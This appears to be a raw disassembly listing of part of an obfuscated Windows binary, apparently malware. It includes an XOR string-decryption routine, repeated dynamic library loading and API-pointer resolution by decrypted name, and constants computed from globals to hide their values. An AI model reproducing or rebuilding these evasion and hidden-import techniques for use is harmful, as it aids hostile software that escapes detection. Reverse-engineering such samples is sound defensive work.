		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C0h], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:1000C014h
		push	10012DEDh
		call	sub_4228CE
		mov	[ebp+var_2C4], eax
		push	10012DCBh
		call	sub_4228CE
		add	esp, 8
		mov	[ebp+var_2C8], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	edi, eax
		push	dword ptr ds:1000F37Ch[edi]
		mov	edi, ds:10012138h
		add	edi, 38h
		add	edi, ds:100121B0h
		push	edi
		push	[ebp+var_120]
		movsx	edi, word ptr ds:10012154h
		add	edi, 47h
		push	edi
		movsx	edi, word ptr ds:100120F4h
		movsx	ebx, word ptr ds:10012148h
		lea	edi, [edi+ebx+8Ah]
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2C8]
		push	edi
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, ds:100120FCh
		movsx	ebx, word ptr ds:1001216Ch
		add	edi, ebx
		sub	edi, 0Bh
		push	edi
		call	dword ptr ds:10010648h
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	dword ptr ds:1000C014h
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_2D4], eax
		push	dword ptr ds:1000F37Ch[eax]
		mov	edx, ds:10012178h
		add	edx, 14h
		push	edx
		mov	edx, ds:10012188h
		add	edx, 93h
		add	edx, ds:10012198h
		push	edx
		mov	edx, ds:1001214Ch
		add	edx, 0EDh
		add	edx, ds:10012098h
		mov	ecx, ds:100120F0h
		add	ecx, 1Fh
		sub	edx, ecx
		push	edx
		mov	edx, ds:1001213Ch
		add	edx, 8
		push	edx
		push	50800000h
		push	10012DADh
		push	10012DC4h
		mov	edx, ds:100121C0h
		add	edx, ds:100120C4h
		sub	edx, 7
		push	edx
		call	dword ptr ds:10010648h
		mov	edi, [ebp+var_2D4]
		mov	ds:1000F38Ch[edi], eax
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2D8], eax
		push	dword ptr ds:1000F38Ch[eax]
		call	dword ptr ds:1000C014h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	[ebp+var_2E0], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:10011628h
		mov	edi, [ebp+var_2E0]
		mov	ds:1000F390h[edi], eax
		push	1000134Dh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E4], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:1000E5F8h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	[ebp+var_2EC], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:10011628h
		mov	edi, [ebp+var_2EC]
		mov	ds:1000F394h[edi], eax
		push	1000134Dh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:1000E5F8h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:10011628h
		mov	edi, [ebp+var_2F8]
		mov	ds:1000F398h[edi], eax
		push	1000134Dh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:1000E5F8h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	dword ptr ds:1000F37Ch[eax]
		call	dword ptr ds:10011628h
		mov	edi, [ebp+var_304]
		mov	ds:1000F39Ch[edi], eax
		push	1000134Dh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	dword ptr ds:1000F37Ch[eax]
		call	dword ptr ds:1000E5F8h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:1000EA40h


loc_4223D4:				; CODE XREF: sub_42149B+10j
					; sub_42149B+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42149B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223D9	proc near		; CODE XREF: sub_41B939+1C4p
					; sub_41C561+20p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		push	1001297Eh
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 0Ch
		mov	eax, ds:100120ECh
		mov	esi, eax
		add	esi, ds:10012144h
		sub	esi, 0Ah
		jmp	short loc_422436
; ---------------------------------------------------------------------------


loc_422416:				; CODE XREF: sub_4223D9+63j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_422435
		mov	eax, ds:100120F8h
		add	eax, ds:10012118h
		sub	eax, 3
		mov	[ebp+esi+var_FFF], al


loc_422435:				; CODE XREF: sub_4223D9+45j
		inc	esi


loc_422436:				; CODE XREF: sub_4223D9+3Bj
		cmp	esi, 0FFFh
		jb	short loc_422416
		mov	eax, ds:100120F8h
		add	eax, ds:10012184h
		sub	eax, 8
		mov	[ebp+var_1004],	eax
		mov	eax, ds:10012108h
		mov	ebx, eax
		add	ebx, ds:1001212Ch
		sub	ebx, 5
		cmp	[ebp+arg_0], 0
		jnz	short loc_4224C1


loc_422468:				; CODE XREF: sub_4223D9+E6j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_42248A
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	10011670h
		call	sub_424F6D
		jmp	loc_422720
; ---------------------------------------------------------------------------


loc_42248A:				; CODE XREF: sub_4223D9+98j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_422494:				; CODE XREF: sub_4223D9+C0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422494
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:100121A0h
		sub	edx, 6
		cmp	eax, edx
		jz	loc_422720
		jmp	short loc_422468
; ---------------------------------------------------------------------------


loc_4224C1:				; CODE XREF: sub_4223D9+8Dj
		mov	eax, ds:10012290h
		mov	[ebp+var_1008],	eax
		mov	eax, ds:10012094h
		movsx	edx, word ptr ds:100120E0h
		add	eax, edx
		sub	eax, 6
		mov	edx, [ebp+arg_0]
		movsx	ecx, word ptr ds:10012090h
		dec	ecx
		mov	[edx+eax], cl
		movsx	eax, word ptr ds:10012180h
		movsx	edx, word ptr ds:100121A8h
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 6
		mov	eax, ds:100121A4h
		mov	[ebp+var_1004],	eax


loc_42250B:				; CODE XREF: sub_4223D9+31Fj
		push	10012973h
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_424F6D
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 0Ch
		call	dword ptr ds:10011BACh
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, ds:100120B4h
		sub	eax, 6
		cmp	edx, eax
		jnb	loc_422643
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_41E5D9
		mov	eax, ds:10012198h
		add	eax, ds:100120D4h
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_41DB51
		add	esp, 14h
		mov	edi, ds:100120B8h
		add	edi, 0FFF3h
		movsx	edx, word ptr ds:100120B0h
		add	edi, edx
		cmp	eax, edi
		jnz	short loc_4225D1
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		push	1001296Eh
		call	sub_4228CE
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		add	esp, 14h


loc_4225D1:				; CODE XREF: sub_4223D9+1CFj
		mov	eax, ds:1001217Ch
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_41DB51
		add	esp, 0Ch
		mov	edi, ds:10012164h
		add	edi, 0FFFDh
		add	edi, ds:100121C8h
		cmp	eax, edi
		jnz	short loc_42263D
		push	10012963h
		call	sub_4228CE
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		push	1001295Eh
		call	sub_4228CE
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		add	esp, 20h


loc_42263D:				; CODE XREF: sub_4223D9+227j
		inc	[ebp+var_1008]


loc_422643:				; CODE XREF: sub_4223D9+17Fj
		push	[ebp+var_1004]
		call	sub_424130
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	ecx, ds:100120B4h
		sub	ecx, 6
		cmp	eax, ecx
		jnb	short loc_4226C3
		mov	eax, ds:10012184h
		movsx	edx, word ptr ds:10012154h
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_41DB51
		add	esp, 0Ch
		mov	edi, ds:10012160h
		add	edi, 0FFF4h
		add	edi, ds:100121B8h
		cmp	eax, edi
		jnz	short loc_4226C3
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		push	10012959h
		call	sub_4228CE
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		add	esp, 14h


loc_4226C3:				; CODE XREF: sub_4223D9+287j
					; sub_4223D9+2C1j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_4226CD:				; CODE XREF: sub_4223D9+2F9j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4226CD
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:100120A4h
		add	edx, ds:1001213Ch
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_42250B
		push	10012954h
		call	sub_4228CE
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000C020h
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	ds:10012290h, eax


loc_422720:				; CODE XREF: sub_4223D9+ACj
					; sub_4223D9+E0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4223D9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_424F4D
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp-1FFFh]
		push	eax
		push	dword ptr [ebp+8]
		call	dword ptr ds:10011BA4h
		push	1001293Fh
		call	sub_4228CE
		mov	edi, ds:100120E4h
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp-1FFFh]
		push	edi
		call	sub_41DB51
		add	esp, 10h
		mov	esi, ds:100121C0h
		add	esi, 0FFF8h
		add	esi, ds:100121ACh
		cmp	eax, esi
		jz	short loc_42278A
		push	dword ptr [ebp+8]
		call	sub_41F2AD
		pop	ecx


loc_42278A:				; CODE XREF: .data:0042277Fj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_422793	proc near		; CODE XREF: .data:0042302Dp
		push	edi
		push	10012932h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121E4h, eax
		test	eax, eax
		jnz	short loc_4227C6
		push	10012925h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121E4h, eax


loc_4227C6:				; CODE XREF: sub_422793+1Aj
		push	10012912h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011BB4h, eax
		push	100128FEh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E620h, eax
		push	100128EEh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E0D0h, eax
		push	100128DCh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E0D8h, eax
		push	100128CDh
		call	sub_4228CE
		add	esp, 14h
		push	eax
		push	dword ptr ds:100121E4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011644h, eax
		pop	edi
		retn
sub_422793	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422857	proc near		; CODE XREF: sub_41B939+A4p
					; sub_41E9E2+14Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, ds:100120E4h
		movsx	edx, word ptr ds:100120D8h
		mov	esi, eax
		add	esi, edx
		sub	esi, 7
		jmp	short loc_4228AA
; ---------------------------------------------------------------------------


loc_422875:				; CODE XREF: sub_422857+56j
		call	dword ptr ds:10011BACh
		mov	edi, ds:10012164h
		add	edi, 5Dh
		movsx	edx, word ptr ds:10012110h
		add	edi, edx
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_4228AA:				; CODE XREF: sub_422857+1Cj
		cmp	esi, [ebp+arg_4]
		jl	short loc_422875
		mov	eax, [ebp+arg_4]
		movsx	edx, word ptr ds:10012148h
		sub	edx, 3
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422857	endp

; ---------------------------------------------------------------------------
		dw 1B8h
		dd 0C2800040h
		db 8, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228CE	proc near		; CODE XREF: .data:0041A95Fp
					; .data:0041AA11p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:100121D0h,	0
		jnz	short loc_4228F6
		push	10011BC0h
		call	dword ptr ds:1000D008h
		mov	dword ptr ds:100121D0h,	1


loc_4228F6:				; CODE XREF: sub_4228CE+11j
		mov	esi, ds:10012118h
		add	esi, ds:1001211Ch
		dec	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, ds:10012184h
		sub	edx, 3
		cmp	eax, edx
		jz	short loc_4229A8
		push	10011BC0h
		call	dword ptr ds:1001165Ch
		movsx	eax, word ptr ds:100120E0h
		add	eax, 3
		mov	[ebp+var_2], ax
		jmp	short loc_42295C
; ---------------------------------------------------------------------------


loc_422947:				; CODE XREF: sub_4228CE+98j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_42295C:				; CODE XREF: sub_4228CE+77j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_422947
		mov	eax, ds:10012160h
		add	eax, ds:10012108h
		sub	eax, 8
		movsx	edx, word ptr ds:10012150h
		sub	edx, 5
		mov	[edi+eax], dl
		mov	eax, ds:1001214Ch
		add	eax, ds:10012164h
		sub	eax, 5
		mov	edx, ds:10012178h
		sub	edx, 3
		mov	[edi+eax], dl
		push	10011BC0h
		call	dword ptr ds:1001064Ch


loc_4229A8:				; CODE XREF: sub_4228CE+5Cj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228CE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+0Ch]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		mov	eax, ds:10012164h
		add	eax, 0F8h
		add	eax, ds:100120E4h
		cmp	edi, eax
		jnz	short loc_4229DF
		push	dword ptr [ebp+1Ch]
		call	sub_41F4F7
		pop	ecx
		xor	eax, eax
		jmp	short loc_4229FF
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: .data:004229D0j
		mov	eax, ds:100120D4h
		add	eax, 102h
		cmp	edi, eax
		jnz	short loc_4229FA
		push	dword ptr [ebp+1Ch]
		call	sub_4242A2
		pop	ecx
		xor	eax, eax
		jmp	short loc_4229FF
; ---------------------------------------------------------------------------


loc_4229FA:				; CODE XREF: .data:004229EBj
		mov	eax, 80020003h


loc_4229FF:				; CODE XREF: .data:004229DDj
					; .data:004229F8j
		pop	edi
		pop	ebp
		retn	24h

; =============== S U B	R O U T	I N E =======================================



sub_422A04	proc near		; CODE XREF: .data:00423037p
		push	edi
		push	100128C2h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121ECh, eax
		test	eax, eax
		jnz	short loc_422A37
		push	100128B7h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121ECh, eax


loc_422A37:				; CODE XREF: sub_422A04+1Aj
		cmp	dword ptr ds:100121ECh,	0
		jz	short loc_422A5D
		push	100128A1h
		call	sub_4228CE
		pop	ecx
		push	eax
		push	dword ptr ds:100121ECh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E600h, eax


loc_422A5D:				; CODE XREF: sub_422A04+3Aj
		pop	edi
		retn
sub_422A04	endp

; ---------------------------------------------------------------------------
		db 0Fh
		dd 21A805BFh, 50401001h, 166015FFh
		db 1, 10h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_422A6F	proc near		; CODE XREF: .data:00420FC1p
		push	edi
		push	10012893h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121D8h, eax
		test	eax, eax
		jnz	short loc_422AA2
		push	10012885h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121D8h, eax


loc_422AA2:				; CODE XREF: sub_422A6F+1Aj
		push	1001287Bh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011630h, eax
		push	10012870h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C030h, eax
		push	10012868h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C054h, eax
		push	10012860h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA38h, eax
		push	10012856h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA2Ch, eax
		push	1001284Ch
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011648h, eax
		push	10012842h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010634h, eax
		push	10012838h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010640h, eax
		push	10012830h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011BACh, eax
		push	10012827h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011600h, eax
		push	1001281Dh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C020h, eax
		push	10012812h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011634h, eax
		push	10012806h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F24Ch, eax
		push	100127FCh
		call	sub_4228CE
		add	esp, 38h
		push	eax
		push	dword ptr ds:100121D8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E1F4h, eax
		pop	edi
		retn
sub_422A6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422C2F	proc near		; CODE XREF: .data:0042303Cp
		push	edi
		push	100127EEh
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121F0h, eax
		test	eax, eax
		jnz	short loc_422C62
		push	100127E0h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121F0h, eax


loc_422C62:				; CODE XREF: sub_422C2F+1Aj
		cmp	dword ptr ds:100121F0h,	0
		jz	short loc_422C87
		movsx	eax, word ptr ds:10012148h
		add	eax, 2
		push	eax
		push	dword ptr ds:100121F0h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C01Ch, eax


loc_422C87:				; CODE XREF: sub_422C2F+3Aj
		pop	edi
		retn
sub_422C2F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-210h]
		push	eax
		push	1000E0F0h
		call	sub_41B0D6
		add	esp, 8
		mov	[ebp-208h], eax
		test	eax, eax
		jnz	short loc_422CBA
		xor	eax, eax
		jmp	loc_422E4E
; ---------------------------------------------------------------------------


loc_422CBA:				; CODE XREF: .data:00422CB1j
		mov	eax, ds:100120A0h
		movsx	edx, word ptr ds:100120B0h
		add	eax, edx
		sub	eax, 8
		mov	[ebp-204h], eax


loc_422CD1:				; CODE XREF: .data:00422E3Aj
		mov	eax, [ebp-204h]
		mov	edx, [ebp-208h]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_422CE3:				; CODE XREF: .data:00422CE8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422CE3
		mov	[ebp-20Ch], eax
		cmp	dword ptr [ebp-20Ch], 0FFh
		jnb	short loc_422D20
		mov	eax, [ebp-204h]
		mov	edx, ds:100121B8h
		sub	edx, 2
		add	eax, edx
		add	eax, [ebp-208h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_424F6D


loc_422D20:				; CODE XREF: .data:00422CFAj
		mov	eax, ds:1001215Ch
		mov	esi, eax
		add	esi, ds:10012178h
		sub	esi, 7
		jmp	short loc_422D57
; ---------------------------------------------------------------------------


loc_422D32:				; CODE XREF: .data:00422D69j
		cmp	byte ptr [ebp+esi-0FFh], 28h
		jnz	short loc_422D44
		mov	byte ptr [ebp+esi-0FFh], 2Bh


loc_422D44:				; CODE XREF: .data:00422D3Aj
		cmp	byte ptr [ebp+esi-0FFh], 29h
		jnz	short loc_422D56
		mov	byte ptr [ebp+esi-0FFh], 3Dh


loc_422D56:				; CODE XREF: .data:00422D4Cj
		inc	esi


loc_422D57:				; CODE XREF: .data:00422D30j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_422D60:				; CODE XREF: .data:00422D65j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422D60
		cmp	esi, eax
		jb	short loc_422D32
		push	0FFh
		lea	eax, [ebp-1FEh]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_423767
		add	esp, 0Ch
		mov	ebx, eax
		mov	edi, ds:10012160h
		sub	edi, 8
		jmp	short loc_422DC1
; ---------------------------------------------------------------------------


loc_422D93:				; CODE XREF: .data:00422DC3j
		movsx	eax, byte ptr [ebp+edi-1FEh]
		mov	[ebp-218h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-21Ch], eax
		mov	eax, [ebp-218h]
		mov	edx, [ebp-21Ch]
		sub	eax, edx
		mov	[ebp+edi-1FEh],	al
		inc	edi


loc_422DC1:				; CODE XREF: .data:00422D91j
		cmp	edi, ebx
		jb	short loc_422D93
		movsx	eax, word ptr ds:10012110h
		sub	eax, 3
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1FEh]
		push	eax
		call	sub_41DB51
		add	esp, 0Ch
		mov	[ebp-214h], eax
		mov	eax, ds:1001214Ch
		add	eax, 0FFF8h
		add	eax, ds:100121B4h
		cmp	[ebp-214h], eax
		jz	short loc_422E11
		push	dword ptr [ebp-208h]
		call	dword ptr ds:1000E618h
		xor	eax, eax
		inc	eax
		jmp	short loc_422E4E
; ---------------------------------------------------------------------------


loc_422E11:				; CODE XREF: .data:00422DFEj
		mov	eax, [ebp-20Ch]
		mov	edx, ds:100121A4h
		add	edx, ds:10012160h
		sub	edx, 3
		add	eax, edx
		add	[ebp-204h], eax
		mov	eax, [ebp-210h]
		cmp	[ebp-204h], eax
		jb	loc_422CD1
		push	dword ptr [ebp-208h]
		call	dword ptr ds:1000E618h
		xor	eax, eax


loc_422E4E:				; CODE XREF: .data:00422CB5j
					; .data:00422E0Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E53	proc near		; CODE XREF: sub_41E2FF+2CDp
					; sub_423CF4+23Bp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	dword ptr ds:10011630h
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_424F6D
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_422E81:				; CODE XREF: sub_422E53+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422E81
		mov	edx, ds:10012160h
		sub	edx, 7
		mov	ebx, eax
		sub	ebx, edx
		movsx	edx, word ptr ds:10012194h
		add	edx, ds:100120F8h
		sub	edx, 2
		mov	[ebp+ebx+var_316], dl
		mov	edi, ds:10012158h


loc_422EB2:				; CODE XREF: sub_422E53+158j
		mov	eax, edi
		movsx	ecx, word ptr ds:1001216Ch
		add	ecx, ds:10012094h
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, ds:100120ACh
		dec	ecx
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, ds:10012178h
		sub	eax, 2
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, ds:100120FCh
		sub	eax, 7
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, ds:10012104h
		sub	edx, 3
		cmp	eax, edx
		jnz	loc_422FAA
		mov	eax, edi
		movsx	ecx, word ptr ds:100120E0h
		add	ecx, ds:100120E4h
		mul	ecx
		mov	[ebp+var_328], eax
		movsx	eax, word ptr ds:1001219Ch
		add	eax, ds:100121ACh
		sub	eax, 8
		mov	edx, [ebp+var_328]
		add	edx, eax
		mov	eax, ds:100120D4h
		dec	eax
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, ds:1001211Ch
		add	ecx, ds:1001210Ch
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_32C], eax
		movsx	eax, word ptr ds:100120D8h
		sub	eax, 2
		mov	edx, [ebp+var_32C]
		add	edx, eax
		movsx	eax, word ptr ds:10012090h
		add	eax, ds:100120A4h
		sub	eax, 3
		mov	[ebp+edx+var_212], al
		jmp	short loc_422FB0
; ---------------------------------------------------------------------------


loc_422FAA:				; CODE XREF: sub_422E53+D1j
		inc	edi
		jmp	loc_422EB2
; ---------------------------------------------------------------------------


loc_422FB0:				; CODE XREF: sub_422E53+155j
		cmp	dword ptr ds:100121ECh,	0
		jz	short loc_422FF1
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:1000E600h
		mov	esi, eax
		or	esi, esi
		jz	short loc_422FF1
